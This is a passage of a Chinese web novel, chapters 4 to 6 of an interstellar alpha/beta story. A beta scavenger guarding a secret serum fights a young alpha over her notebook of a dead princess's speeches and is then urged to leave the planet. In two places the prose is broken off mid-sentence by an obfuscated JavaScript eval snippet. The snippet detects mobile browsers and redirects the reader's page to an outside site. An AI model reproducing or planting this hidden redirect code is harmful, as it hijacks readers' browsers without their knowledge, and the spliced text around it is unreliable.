背负着叛国的罪名,死在遥远的蒙卡斯星系,连丧钟都不曾为她敲响,是公认的帝国之耻。 此事背后有太多利益牵扯,真真假假早已说不清楚,是是非非早已看不分明。 贺平淮大步从厨房走出来,打算随手找个beta问问江应余到底去哪儿了。 在防空洞内四处转了一圈,却没找到人,连那个经常围着江应余打转的绿眼睛beta也不知去向。 正在贺平淮犹豫着要不要拿上防毒面具出去找人的时候,身后传来了一道重物落地的声音。 贺平淮转过身,看见一间大门紧闭的弃用储物室。 “江应余,你在里面吗?” 贺平淮试探着对着门问了一声,却没得到任何回应。 心中莫名有种不好的预感。 贺平淮决定以暴力破门。 只见他轻易就拧断了门把,将储物室的门轻轻一推,防空洞的照明灯便沿着缝隙将室内照亮。 率先映入眼帘的就是趴在地上不省人事的江应余。 身上的衣物脏乱不堪,像是在地上滚了几圈,手里紧紧攥着一支手电筒,却根本没打开电源,还有一只脚被卡在储物架下面,结合倒下的姿势不难判断出她正是因此被绊倒。 贺平淮先是倒吸了口冷气,实在想不明白在这么短的时间里她怎么就将自己折腾成这副模样。 然后他快步走上前,将人扶起来,看见江应余血泪混杂的脸后更是万分震惊。 “现在的你看起来和那些拾荒者的确没区别了。” 他嘴上一边嫌弃着,一边把江应余抱进怀里。 大抵是江应余平时那副颓丧又暴躁的模样给他留下了深刻的印象,贺平淮一时难以适应她如此安静地躺在自己怀里,身上沾满灰尘,脸色苍白如纸,鼻血染红了她的衣襟,额头上还有一个凸起的大包。 她实在太喜欢逞强,以至于只有在这种时候,他才能意识到她只是个beta。 弱小的beta。于alpha来说这是个再寻常不过的认知。 可江应余不该是这样的。 她不该与“弱小”这类词语扯上任何关系。 她更不该毫无生气地倒在地上等待别人的拯救。 她应该永远桀骜不驯,永远保持自我,永远不受拘束。 就像…… 就像她拯救他的时候一样。 贺平淮沉默着从储物室走出来,顺手带上了门。 他的注意力全在江应余身上,故而自始至终都没有发现在储物架遮挡的角落里,放着一本日记与一管所剩无几的金色试剂。 将江应余带回帐篷后,贺平淮把她放在软被上。 说是“软被”,其实一点也不软。拾荒队的帐篷已经彻底与时代脱节,不知是哪年哪月捡来的破烂,又小又破,就连提供的棉絮也是硬邦邦的,在冷风刺骨的D-309星盖着这样的被褥入眠简直与受刑无异。 似乎是姿势有些别扭,昏迷中的江应余皱着眉侧了个身,身下的枕头被她挤到了一旁。 贺平淮只好无奈地替她将枕头挪回原位。 伸手捏住枕头一角,小心翼翼地往回拉动。 在这个过程中,某个异物的存在引起了贺平淮的注意。 贺平淮好奇地将它拿出来,是一个有些分量的黑色笔记本。 纸张皱皱巴巴的,写满了文字,有几页甚至因被多次翻阅而有所松动。 翻开封面,像生怕别人看不见似的,在扉页正中的位置清清楚楚地写着硕大的——三殿下语录集。 4. 第四章 我打了alpha小少爷 江应余是疼醒的,疼痛感主要源于鼻骨和头上肿起的大包。 金苹果的副作用已经消退,除了鼻子与脑袋上的血肿,她几乎感觉不到任何不适。 抬起手腕看表,现在已经到了八点。看来她折腾了整整一个小时。 捂着头坐起来,江应余这才发现坐在旁边的贺平淮。 帐篷里的灯带发出晦暗的亮光,而他的影子正好投落在江应余身上,她一时看不清贺平淮的表情。 低下头,江应余发现自己怀里塞了个热水袋,难怪自己一直不觉得冷。 江应余用力地咳了一声,这是一种拙劣的吸引注意力的办法,但通常很有效。 就在贺平淮抬头看向她的瞬间,已经准备好措辞的江应余却尴尬地错开了视线。 ——果然,她还是不习惯向刚和自己吵完架的人道谢。 但热水袋所散发的温度仿佛正在拷问她所剩无几的良心。 江应余只好重新看向他,像被夺走了灵魂,干巴巴地说:“谢谢你把我带回来,谢谢你给我的热水袋。” 按照常理,此时贺平淮应该对她说“不用谢。” 可是他没有。 帐篷里空间狭小,且不说江应余一米七的个子,比她小四岁的贺平淮甚至还要高出一截,两个人挤在帐篷里连手脚都伸展不开。 此时江应余终于习惯了昏暗的灯光,同时也看清了贺平淮的表情,他平时就不爱笑,现在更是拉着一张脸,嘴唇紧抿,正不满地瞪着她。 “你不打算解释一下吗?”贺平淮压抑着怒气,问道。 江应余不理解:“解释什么?” 贺平淮指着她脑袋上的大包:“解释你一个人躲在废弃储物室里究竟做了什么,能把自己弄成这副样子。” 说起这个,江应余总算想起来自己晕倒前凄惨狼狈的模样。 也想起了被自己落在角落里的金苹果和日记本。 从贺平淮的态度来看,虽然他将失去意识的她带了回来,但对于金苹果的存在应当一无所知。 江应余不禁松了口气。 至于贺平淮的质问,她则根本没放在心上,谎话张口就来:“我喝了点小酒,然后就醉倒了。” 贺平淮毫不客气的发出冷笑:“你把我当傻子吗?” 江应余身上一点酒气都没有,况且拾荒队穷得连保质期以内的营养液都买不起,哪来的酒给她喝? 她的谎言不仅拙劣,还很敷衍。 没想到alpha小少爷如此难缠,江应余对此感到头疼:“我真的只是不小心摔倒了而已。” 贺平淮看向她的前襟,暗红的大块血渍触目惊心:“你迎面摔在地上导致鼻子骨折流了这么多血,也是因为不小心吗?” 正常人在这种情况下会下意识护住最关键的头部,可是她没有。 这只能说明,江应余在摔倒前就已经意识不清或是彻底失去了意识。 江应余哑口无言。她根本不知道自己鼻子骨折了,难怪醒来的时候就觉得鼻子疼得厉害。 她只能装傻: “好吧,alpha,其实我什么都不记得了,可能是脑子摔坏了。” 贺平淮早知江应余油盐不进,她打定主意不想说的事,不论是谁都撬不开她的嘴,如今亲眼得见她装傻充愣的功力差点被气个半死。 但他今天非得知道整件事的来龙去脉不可。 若是就这么算了,按她这种不管不顾的性子,今天只是倒在地上受点轻微伤,明天说不定就能断手断脚,再严重些可能连小命都会丢掉。 “既然你不愿说。” 贺平淮转身一把掀开帘子,果决地说:“那我就自己去找你在储物室里藏了什么。” 面对这突如其来的举动,江应余简直惊怒交加。 “你给我站住!” 她大吼一声,赶紧扑身扯住他,身形疾如闪电。 见她这副心急的模样,贺平淮还有什么不明白的,也是怒上心头:“你果然有事瞒着我!” 江应余死死拽住他,不让他挪动半分,大声质问:“这件事跟你没半点关系,你何必把时间浪费在我身上?” 不知被哪个字刺痛了神经,贺平淮简直气得发抖:“我不管你难道就眼看着你找死吗?” 两人吵起架来一声还比一声高。 江应余:“得了吧,我们才认识一星期而已,说白了就是陌生人你懂吗?我的死活关你什么事?” 贺平淮:“那你当初为什么要来救我?我让你别管我,你还非得把我拖回来。” 被愤怒冲昏头脑的江应余直接脱口而出:“我以为你是beta才救的你,谁知道你是alpha啊?” 贺平淮怔住了,表情瞬间凝固。许久以来的疑惑在这一刻终于得到了解答。 而江应余自知失言,也陷入了沉默。 激烈的氛围骤然冷却,转而变得压抑沉闷。防空洞内总有一股异味,平时习惯了不觉得有什么,此刻却让人心里堵得难受。 两人保持着互相拉扯的姿势,一动不动。 直到贺平淮转过身,神色平静得有些异常,暗淡微弱的灯带无法照亮他的眼睛。 他声音沙哑:“所以,如果当初你知道我是alpha,是不是根本不会救我?” 江应余不知道该怎么回答,这种假设在她看来毫无意义。 好在贺平淮也不需要她的回答,他像是突然想通了某个关窍,又问:“如果今天是那个绿眼睛的beta想知道你在储物室藏了什么,你还会像拦我一样拦住她吗?” 江应余只能保持沉默,因为答案太显而易见,也太伤人。 贺平淮却笑了,眼里含着无尽的苦涩:“江应余,你从来没信任过我,就因为我是alpha。” 江应余抬起头,没有避开他的目光。 “没错。” 一个肯定的答案,一颗破碎的心脏。 固执的人却非要追问一个清楚明白。 贺平淮又问,以足够冷静的口吻:“你当初为什么要救我?” 这个问题他问了整整三遍,第一遍是在江应余捡到他的时候,第二遍是在他们刚才吵架的时候,第三遍则是在此刻。 江应余:“因为我以为你是beta。” 贺平淮继续问道:“你当初为什么愿意将防毒面具与保暖的衣物分给我?” 还是那个答案:“因为我以为你是beta。” “那还真是可惜。” 贺平淮露出一个堪称恶劣的笑容,俊美的面容在此刻显得无比阴郁:“我自始至终都是一个alpha。” “江应余你听好了,我们alpha做事向来不会顾及他人的想法,既然我想知道你藏在储物室的秘密,那今天谁也拦不住我。” 贺平淮转身就钻出帐篷,步子迈得飞快。 江应余不曾料想他竟如此执着,但金苹果的存在绝不能被他发现。 这不仅是为了拾荒队的安全着想,更是因为贺平淮的家世背景太过庞大。 第三军□□出小队驻扎此处,很有可能是为金苹果而来,他们的人手与物资分明都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453327|169519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很充足,却非得选择让拾荒队的人来捡拾遗漏物品不可,说明这项平平无奇的任务被后隐藏着巨大的秘密,连军队内部的人都不能知晓。 联想到十五年来金苹果依旧不为人所知,以及日记里提到的被砸得一干二净的实验基地。很显然,有人在刻意隐瞒与金苹果有关的信息,甚至可能是一个群体,一个来自高层的群体。 ——当年D-309星发生的爆炸也很可能与金苹果的问世有关。 而贺平淮身后的贺家在军政界享有很高的话语权,江应余无法确保贺家与此事毫无关联。 事关金苹果,事关beta唯一的出路,江应余只能慎之又慎。 因此,在得出确切结论之前,江应余绝不能冒险让他发现金苹果的存在,这只关乎贺平淮的背景,与他alpha的身份反而无关。 江应余来不及反应,只好迅速追出去,跑得上气不接下气。 虽说她有伤在身,但alpha的体能的确不是普通beta能比的,就算她现在身体康健也没办法追上贺平淮。 直到贺平淮停在储物室门前,趁其打开门的间隙江应余总算追上了他,几个箭步赶紧冲上前去。 她已经被愤怒与惊慌冲昏头脑,理智几近丧失,只记得自己不论如何也要阻止他,为了尽快阻止这场闹剧,于是她做出了一个荒唐的选择—— 制造一场更大的闹剧。 她握紧拳头,像个勇敢无畏的斗士,带着积攒许久的怒火,朝象征着强大与压迫的alpha贵族狠狠揍了上去。 这结实的一拳半点没有手软,将毫无防备的贺平淮直接打翻在地。 贺平淮整个人都懵住了,脑袋里嗡嗡作响。他知道江应余会被自己激怒,却无论如何也想不到江应余竟能气得动手打他——他们本不应该发展到这一步。 他一时也分不清心中究竟是懊悔更多还是难过更多。 贺平淮单手撑起上半身,捂着脸,想要开口说点什么,却又全部咽了回去,默不作声地看着江应余。 而江应余却迟迟都没有下一步动作,仿佛也被自己惊呆了。 beta对alpha的畏惧像一种本能。 它源自体能的差距,群体的熏染,环境的驯化。 在过去的二十四年里,江应余自以为她克服了这种本能。 直到朝alpha挥出拳头,她才意识到,这种畏惧早已根植在她的心底,与她的本能合为一体。她的拳头在颤抖,因为她在恐惧。 ——因为她打了一个alpha。 “你看见了吗?” 江应余莫名笑了一声,然后高高扬起自己的拳头,它正在以一种肉眼可见的幅度颤抖着。 “我在害怕你,即使你什么都没做。” 贺平淮目光沉痛地望着她,与她对视良久。 他意识到,他一开始就做错了。 强硬的举措不会让江应余乖乖就范,只会令江应余变得加倍强硬,因为她从不是一个会向强权屈服的人。 她是个明知自己是鸡蛋还要往石头上撞过来的傻瓜,即使撞得粉身碎骨也不长记性。 在这一瞬间,贺平淮好像终于明白了——当谈及沦落为拾荒者的缘由时,江应余提到的“咎由自取”究竟是什么意思。 尔后,他闭了闭眼睛,深吸一口气,凉风顿时涌入体内。 抬起头时却露出一个十足挑衅的微笑,声音里满是轻蔑,态度恶劣得像一个纨绔子弟,恶狠狠地说: “这就怕了,怎么,你不敢像刚才一样再打我一拳吗?” 5. 第五章 我咬了alpha小少爷 江应余还没傻到被这种拙劣的激将法拿捏,自己有几斤几两她还是清楚的。 她垂下手臂,逆光的五官倍显晦暗,自上而下地看着贺平淮,表情冷漠: “我打不过你,我承认。” 她承认自己很多时候有些冲动,有些不计后果。以卵击石的事干了那么多次,也失败了那么多次,可是她得到了什么?她的下场又是什么? 江应余实在是累了。 在认清自己之后,她用了太多的时间去反思过往,将那些不切实际的理想给硬生生碾碎。 她还记得亲生父亲在撕碎她的成绩单后冲她怒吼:“你哪来的本事同alpha竞争?!那可是在整个帝国都赫赫有名的贺家,是我们全家一辈子都够不着的存在!” 或许她当时就该听父亲的,放弃幻想,甘做一个普通beta。 因为哪怕她拼尽全力去争去抢,也只能眼睁睁看着贺平峥的名字永远压自己一头。 ——这就是现实。 她吃够了现实的苦,也得到了应有的下场。 她以为得到金苹果以后总算能扬眉吐气一回,没想到命运还是一如既往地喜欢同她开玩笑,特地派一个讨嫌的alpha小少爷处处同她作对。 江应余彻底没了同贺平淮斗争的力气,扯出一个自嘲的笑容: “东西就在里面,你想看就看去吧。” 贺平淮差点没绷住脸上挑衅的神情,这可不是他想看见的反应。 他对储物室里的东西其实没有多少兴趣,主要是怕江应余偷偷乱来又整出满身的伤,没成想却激得江应余发了那么大的火。 好在他手里还有能力挽狂澜的杀手锏。 只见贺平淮从怀里拿出一样东西,漫不经心的语调是种另类的残忍:“那这个呢,我也可以想看就看吗?” 他手里拿着的是一本眼熟的黑色笔记本,笔记本的包封与书槽因常年使用而褶皱掉色,纸页磨痕明显,甚至有几张在脱落后被主人用胶带小心地贴了回去。 在辨认出笔记本的来历后,江应余的瞳孔骤然紧缩,连呼吸都变得困难,不自觉往后退了一步。 “……你怎么敢……” 一种莫大的惶然击中了她,让她说不出一句完整的话。 江应余此时已无心回想她的笔记本是何时落在贺平淮手里的,她只能被迫接受这荒唐的一幕,愣愣地看着贺平淮随手翻开她最为珍视的宝物。 翻到某一页时,贺平淮的手终于停下了,他将那些干净工整的字迹所写下的内容一一读了出来:“你看,你的三殿下说过这么一句话—— “她说,‘比起彻头彻尾的失败,我更害怕的是,自己在最开始连反抗的勇气都没有。’” 念完这句话,贺平淮的视线轻飘飘落回江应余身上,仿佛看见什么有趣的东西而笑了一下:“差点忘了,你不就没有吗?” 江应余脑门上青筋跳动,两眼快要冒出火花,却因为笔记本在贺平淮手里而不敢妄动,只能色厉内荏地大吼一声:“给我把它放下!” “我凭什么听你的?” 贺平淮像是听见了什么好笑的话,于是在江应余眼前捏住边沿将笔记本晃来晃去,眼中轻蔑不减:“你有本事把它从我手里抢走吗?” 江应余气得发抖,连牙齿都在打颤。 只见她双拳紧握,手背青筋突起,胸口几度大幅起伏,再抬起头时,她双目圆睁,眼里一片通红,声音沙哑得不成样子:“你在逼我,贺平淮。” 她终于念出了他的名字,这是贺平淮脑海里浮现的第一个念头。 还不等他做出反应,下一秒江应余便将他扑倒在地牢牢压住,先是朝他脸上狠狠砸了几拳泄愤,然后眼疾手快地掐住了他的脖子,用力收紧。 涨红从脖颈处迅速蔓延开来,贺平淮根本喘不过气,意识到江应余是真的想要置他于死地。 他听见有声音从上方传来,嘶哑破碎,像是用尽全力的呐喊: “我已经什么都没有了,你为什么还要逼我?!” 贺平淮的脖颈被越掐越紧,难以呼吸,想说点什么却开不了口。 空气被尽数剥夺,心跳愈发急促,头脑也开始发昏,理智逐渐脱离躯体。求生的本能令贺平淮下意识紧扣住江应余的手腕,随着窒息程度加深,手上的力度也一点一点加大。 江应余耳边又响起了耳鸣,仿佛金苹果的副作用卷土重来。 可现在的她什么都顾不上,愤怒呼啸着席卷而来,所有的理性都在此刻□□脆舍弃,积压多年的不甘、悔恨与悲痛终于寻到裂隙宣泄而下。 她有些记不清,自三殿下死后,自数不尽的失败击垮自信后,她究竟有多久没能像现在这样毫无顾忌地展露情绪。 好似在成为拾荒者后,曾经那个骄傲得近乎狂妄、招摇得近乎嚣张的自己已经死去了。 她不得不收敛锋芒,习惯一无是处的自己,并学会认清现实。 ——承认她只是个beta而已。 江应余能听见自己剧烈的心跳,与手心处急促鼓动的脉搏几乎同频。 她不知道自己什么时候哭了,无声的泪水从下颌处滴落,但此时的她根本不会在意这种小事,就连贺平淮挣扎着扣住她的手腕也同样如此。 她恶狠狠地直视贺平淮的眼睛,看见它逐渐涣散又骤然变得凶狠骇人,如同野兽濒死时迸发的破坏欲,也从中看见了表情狰狞的自己。 下一秒,伴随着咔嚓一声脆响,江应余发出一声闷哼。 右手手腕脱力下垂,剧痛由此处蔓延,只有死死咬住舌头才能抑住喉间的痛呼。 很显然,她骨折了,alpha的力量还是超出了她的想象。 鲜血自嘴角溢出,江应余顾不上擦拭,握紧仅剩的左手想要立即反击,却被贺平淮轻而易举地抓住。 她下意识闭上眼睛,预想中的殴打却没有到来,自己反而落入他的怀抱,被重重压在地上,动弹不得。不过短短一瞬,两人的姿势就发生了调换。 江应余想不明白贺平淮究竟打算做什么,也懒得去想。 纵使四肢被禁锢,她总能找到办法去反击——江应余看着近在眼前的脖颈,张大嘴,使足力气猛地咬了上去。 血腥味迅速充盈鼻尖,他们两人的血混在一起,从齿缝间汇流而下,江应余本就糊满血渍的前襟被再次染红。 而贺平淮却迟迟没有任何举动,甚至发出一声极轻的叹息,江应余还以为是自己产生了错觉。 直到他一言不发地抬起手,安抚性地来回抚摸她的后脑勺,江应余才意识到这个人根本就不打算对她动手。 她松开牙齿,不禁冷笑:“你是在瞧不起我吗?” 察觉到江应余平静下来不再有所动作,贺平淮便止住抚摸收回了手,却将她抱得更紧。 他没有回答她的问题,只是将脑袋埋进她的颈窝。 江应余对他向来没什么耐心,更遑论此时。她拧眉锤他一拳,以命令式的口吻催促:“说话。” “我没有瞧不起你,从来没有。”贺平淮的声音闷闷的,好似受了天大的委屈,方才拿着笔记本威胁江应余的嚣张气焰荡然无存。 然而江应余的心肠比铁还硬,不为所动,连看他一眼都觉得心烦。见自己推不动他,索性继续发号施令:“赶紧从我身上滚开。” 贺平淮没动,只问:“你还会打我吗?” 答案自然是肯定的。 江应余被他的天真气得发笑,反问:“我凭什么放过你?” 先不说那本语录集对她而言有多重要,她的右手现在还疼着呢。 贺平淮自知理亏,心虚地瞥了眼她的右手,本想解释自己不是故意的,却又觉得有些多余——毕竟是他偷拿江应余的笔记本挑衅在先。 “对不起。” 他诚恳地向她道歉:“不论是为今天,还是为过去的种种,我知道自己做错了很多事,真的很抱歉。” 江应余不想听他说这个,语气变得更冲:“你是不是有病?打架的时候谁想听你道歉?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453328|169519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺平淮只好将脖子凑到她嘴边:“我知道是我活该,请你继续咬我吧。” 反正alpha的生命力很旺盛很顽强,足以让一个beta折腾到消气。 有那么一瞬间,江应余的确很想再次咬下去,但嘴里翻涌的血腥味与隐隐作痛的手腕让她找回了理智。 眼里的愤怒消散而去,转而被熟悉的颓然所占据。 咬他一口又有什么意义?不过是泄愤而已。 每个beta生来就要学会接受现实,其中就包括接受beta与alpha之间悬殊的力量对比。 连无数次出生入死饱经磨砺的三殿下都无法逾越这条鸿沟,缺乏锻炼的江应余显然更无可能。 可是现在江应余有了金苹果。 据说S级精神力的沈鹤棠可以将意识的延伸凝为实体,它能任意变换千般形态,既能锋利如刃,也能柔软如棉。 如果喝下金苹果,学会操控精神力为自己所用,她或许就能扭转战局。 所谓力量上的差距也将得以弥补。 ——就算是beta也能与alpha一较高下。 找到解开问题的办法后,江应余显而易见地冷静了下来。 当务之急并不是与alpha小少爷计较这些鸡毛蒜皮的小事,而是得拿回落在储物室的金苹果并试出合适的用量。 她再次推动贺平淮的肩膀,口吻已恢复如常:“从我身上滚开。” 声音短暂停顿,又补了句:“把我的语录集还给我。” 贺平淮悄悄瞥了眼她的神色,见她面上已无明显怒意,便毫不犹豫地松开了对她四肢的桎梏,转身将打斗时掉在地上的笔记本捡起来。 笔记本的外壳沾上了不少灰尘,好在里面的文字没有受到影响。 他小心翼翼地用袖口将污渍擦拭干净,才敢将它递还回去。 江应余没有立马接过来。 贺平淮心中有些忐忑,在心虚与愧疚的交织下,耳后根红得仿佛能滴出血来。 “我发誓我绝对没有损伤它分毫。”单凭这一句话并没有什么说服力,贺平淮继续补充道:“起初发现它只是一个意外,我从没想过拿它来要挟你,虽然三殿下赵显因叛国而亡,但追随她的部下大多已被清缴,仅是持有这本语录集不会对你造成任何影响。” 他仔细打量江应余的表情,捏着笔记本的指尖发白,连手背青筋鼓起都不曾发觉。 江应余的眼里划过一瞬的怅然。 她沉默地拿回自己最为珍视的语录集,在科技发达的星际时代,笔墨纸砚早就成了旧时代遗留的产物。 可年少的她为了一个虚无缥缈的理想竟能不厌其烦地亲手抄录三殿下公开演讲中的一字一句。 就算不去翻开它,她也能清晰记得其中每一页每一行所记载的内容。 她甚至可以回忆起三殿下讲述这些话语的神态与口吻。 因为她将三殿下的演讲录像翻来覆去看了无数遍。 也因为,她曾坚定地相信三殿下可以开辟一个属于beta的时代。 见江应余神色怅惘久久不曾言语,结合她对三殿下的崇拜与现在的处境,贺平淮脑海中突然闪现出一个猜想—— “莫非……你是因为赵显才沦落成拾荒者的?” 这个想法并非空穴来风,三殿下的旧部被大殿下铲除了大半,剩下的小部分要么逃往新世界投奔莫鸿秋,要么选择与亲人断绝联系自此隐姓埋名。 而江应余明显符合后者。 没想到江应余听闻此言后露出了格外惊讶的表情,仿佛听见了笑话般轻笑出声。 她的眼里却浸满了悲伤,似乎下一秒就能哭出声来。 “我不是三殿下的旧部。” 她还没有优秀到能被三殿下招揽的程度。 “我只是……看见了她而已。” 通过视频转播,通过浏览各类新闻,以及其他各种渠道,一个普通的beta看见了自己的太阳。 看见了另一种活法。 6. 第六章 就要捡垃圾谁都别想赶我走 今夜有些不同寻常,彭姨带着拾荒队其余成员直到九点才回防空洞。 通常而言,他们再晚都不会超过七点。 彭姨是拾荒队的首领,是一名年过四十的中年女性beta,也是在江应余即将饿死前递给她一片面包的人。 彭姨回来的时候面色凝重,等她摘下防毒面具,将探测仪随手丢到一边,便片刻不停地大步穿过狭长的隧道,身后还跟着一并回来的十来名拾荒队队员,莉莉可也在其中。 好在江应余与贺平淮两人提前将打斗现场打扫干净,在贺平淮的帮助下,江应余的伤口也得到了简易包扎,而鼻骨与腕骨只是轻微骨折,无需进行其他处理。 不过彭姨在看见江应余这副模样后还是愣了一下,先是不愉地瞪了贺平淮一眼,本就凝重的面色显得有些阴沉。不等贺平淮解释什么,她已经挪开视线,重新看向江应余。 彭姨捏了捏眉心,疲惫地叹了口气,语气含怒却又带着些心疼:“这是怎么一回事?” 江应余心虚地垂下了脑袋,不敢与彭姨对视,而站在她身侧挨了顿揍甚至差点被掐死的贺平淮看上去比她还要心虚。 还是莉莉可出来打圆场,勇敢地站在江应余身前,试图用她瘦小的体格遮挡住一米七的江应余。 “彭姨,我们不是还有重要的事要告诉江应余姐姐吗?这里的事待会儿再问也不迟。” 重要的事? 江应余抬起头,好奇地朝众人望过去,拾荒队原本轻松的氛围已经消失不见,有几位跟着彭姨东奔西跑很多年的老成员站在末尾处交头接耳,其余的人无一例外都是满脸沉重。 似乎有什么出乎意料的事情发生了,江应余只希望此事不要与金苹果有关。 她主动询问:“彭姨,是出什么事了吗?” “这件事说大不大,说小也不小。”彭姨寻了把椅子坐下,似乎要与江应余进行一番长谈。 有队员从厨房端了杯热水出来,递给彭姨,她摆手拒绝,扭头冲其余人说了声:“都回去歇息吧,特别是莉莉可,这里有我解释就行。” 贺平淮闻言有些迟疑,不知自己该不该留下。 他本就不是拾荒队的一员,更何况接他回家的人近日就会抵达这里,很快就能带他离开。 可是江应余的手腕骨折后行动不便,而方才提及的有关三殿下的话题似是触动了她的伤心事,在彭姨他们回来之前更是没再同他说一个字。 他有些不放心把她一个人留在这里。 彭姨瞥了他一眼,淡声道:“alpha也留下吧。” 她清了下嗓子,直接步入正题:“今日下午我们从巡逻士兵口中得知,有一架来历不明的小型飞艇迫降于D-309星,侦查兵抵达时飞艇中的驾驶员却不知所踪,现在应该躲藏在某处,目的未知,但士兵们怀疑此人会对他们所执行的任务造成威胁,于是决定在D-309星开展地毯式搜索,并特地警醒我们这段时间需引起注意,一旦发现有关人员务必立即上报。” 江应余若有所思地看向贺平淮的方向。 他当初是乘坐救生飞艇从绑匪手中逃出来的,因为飞艇燃料告急而不得不降落于D-309星。在江应余大发善心将饥寒交迫的他拖回来后同样也有士兵找上门来,想要查验贺平淮的身份。 但奇怪的是,在发现贺平淮是alpha后士兵们便对他不管不问,一改之前警惕的态度,完全不担心他会对他们的任务造成威胁。 现在同样的情况又发生了。 不一样的是,士兵们没能找出不明人员的去向。 彭姨继续说道:“第三军团的人对此事非常上心,不仅派出侦查机甲到处巡逻,甚至打算明日来我们的营地进行搜查,在接下来的日子里,D-309星很难维持太平了。” 她的声音顿了一下,又说:“我回来本是想告诉你,在护送这位小少爷回家的人抵达这里后,你可以选择与他们一同返回首都星。” “从现状来看,留在D-309星可不是一件明智之举。” 江应余呼吸一滞,实在难以相信彭姨会对自己说出这种话来。 昏黄的灯光下,彭姨靠着椅背,面上难掩愁绪,长久的劳作令她有些驼背,身上的衣物更是许久不曾更换,爬满了污渍与补丁,还有几处没来得及缝补的破口处探出了一团团棉花。 彭姨从兜里拿出一管营养液,倒入口中。其实她是烟瘾犯了,但在D-309星这种鬼地方根本买不到香烟,第三军团也不会提供相关物资,所以只能退而求其次,拿口味酸涩的过期营养液来压一压。 “你们今天到底怎么回事?”彭姨拧着眉问贺平淮:“你就是这么对待救命恩人的?” 贺平淮百口莫辩,却又思及的确是他挑衅在先,只好低头认错。 不料江应余突然打断他,情绪激动地向前走了两步,先他一步开口道: “我不会跟他回首都星。” 江应余不甘心地说:“就算要走,也该是整支拾荒队一起走。” 虽然她与彭姨相处的时间仅有短短半年,每天也见不上几面,但她一直将彭姨视作自己的恩人。 彭姨收留江应余后不曾问过她这一路的遭遇,也从未探听她的家庭背景。 于彭姨而言,她只是随手帮了一个落魄的年轻beta,给出的甚至是被咬了两口的发霉面包。可是对江应余来说,那是在她丧失生活动力的时候出现的一个信号——一个希望降临的信号。 彭姨似乎对江应余的反应早有预料,面不改色地换了个坐姿,语重心长地说:“江应余,你和我们不一样,这里只有你走得了。” 江应余不解:“这话是什么意思?” 彭姨错开与她相交的视线:“在刚踏入D-309星时,第三军团的士兵们就对拾荒队所有的成员进行了登记,这事你还记得吧。” 江应余点头:“记得。” 从那时起她便觉得有些古怪。军方以及各大企业雇佣拾荒队替他们打捞、收集物资并不是什么稀奇事,毕竟拾荒队要价低廉,很少讨价还价,除了工期较长外,几乎没有任何缺点。 由于拾荒队的组成人员都是毫无背景、家境贫寒的beta,不会对任何人造成威胁,只想出来讨口饭吃。因而像第三军团这种查验身份的做法极为罕见,甚至算得上从未有过。 彭姨:“当时我就留了个心眼,假称你只是个与家里人闹矛盾离家出走的年轻人,因为花光了身上的积蓄而回不了家。于是我告诉他们,你根本不是拾荒队的成员,过不了多久你的家人就会来接你回家。” “坦白讲,我最开始并没有料到你会在拾荒队里待这么久,明眼人一眼就能看出来你和我们不是一类人。” 听见这熟悉的话语,贺平淮不禁朝江应余看去一眼。 而江应余没有给出回应,绷着脸看不出具体神色,唯有嘴里泛起一股血腥味——这来自于她将自己尚未愈合的舌尖死死抵住上颚而晕开的鲜血。 彭姨继续说:“恰好你在一周前救下了一个明显出身不凡的alpha,让他带着你回到首都星实在再合适不过。可惜的是,你与他相处得不怎么融洽,我更没想到你们如今竟会对彼此大打出手。” “但你不妨再好好考虑一下我的提议,离开这个是非之地,回到你熟悉的首都星才更有利于你去实现自己的抱负,不是吗?” 江应余仍旧不出声。从表面看上去还挺风平浪静,实际上心里早已掀起了惊涛骇浪。 她甚至产生了一个非常危险的想法,虽只存在仅仅一瞬,残存的道德便将其压下——或许早些时候她就该把贺平淮掐死。 毕竟,只要没有贺平淮,彭姨就不会急着把她赶走。 可是杀人是不对的。 更何况,她也打不过他。 半晌过后,江应余深吸一口气,又缓缓吐出,嗓音嘶哑,每说出一个字仿佛都用上了全身的力气:“所以您的意思是,在这半年里你们从没接纳过我?” 彭姨没有点头也没有摇头,只是轻叹一声,随后起身走到江应余跟前,犹豫着抬手又放下,重复了好几次,终于还是将那只沾满污垢布满伤痕的手搭在了江应余肩头。 用力地握住她的肩膀,语气沉重又无奈: “江应余,我的拾荒队非常欢迎你的加入,不论是过去还是现在。这里没有人排斥你,反而是你从没接纳过你自己。” “你口口声声说自己是个没有前途的废物,否定自己过去所有的成就,可是你真的甘心吗?” 彭姨的面容在此刻显得极为疲惫,仿佛突然老了十几岁: “你知道吗?我活了这么多年,曾经赚过不少钱,后来进了监狱,最后成了一个拾荒者,也算得上经历了无数起起落落。之所以选择组建一支拾荒队,是因为我从监狱出来后突然明白了一个道理,一个所有甘愿成为拾荒者的人都明白的道理——人各有命。” 她又重复了一遍:“江应余,人各有命。可是这里唯独你不信命。” 她自认见过许许多多的beta,所有beta都平凡得千篇一律,但像江应余这样倔强得有些偏执的beta属实是第一次见。 就算跌入低谷,尝遍挫折,好像也没什么能阻拦江应余的脚步,没什么能束缚江应余的思想。 即使无人在意,她也依旧怀揣着天真的妄想,相信自己不日便能东山再起。 一个一事无成的废物也可以做梦,不是吗? 彭姨拍了拍江应余的肩膀,此时再说任何一句话都显得有些多余。她很清楚,江应余需要的从来不是谁 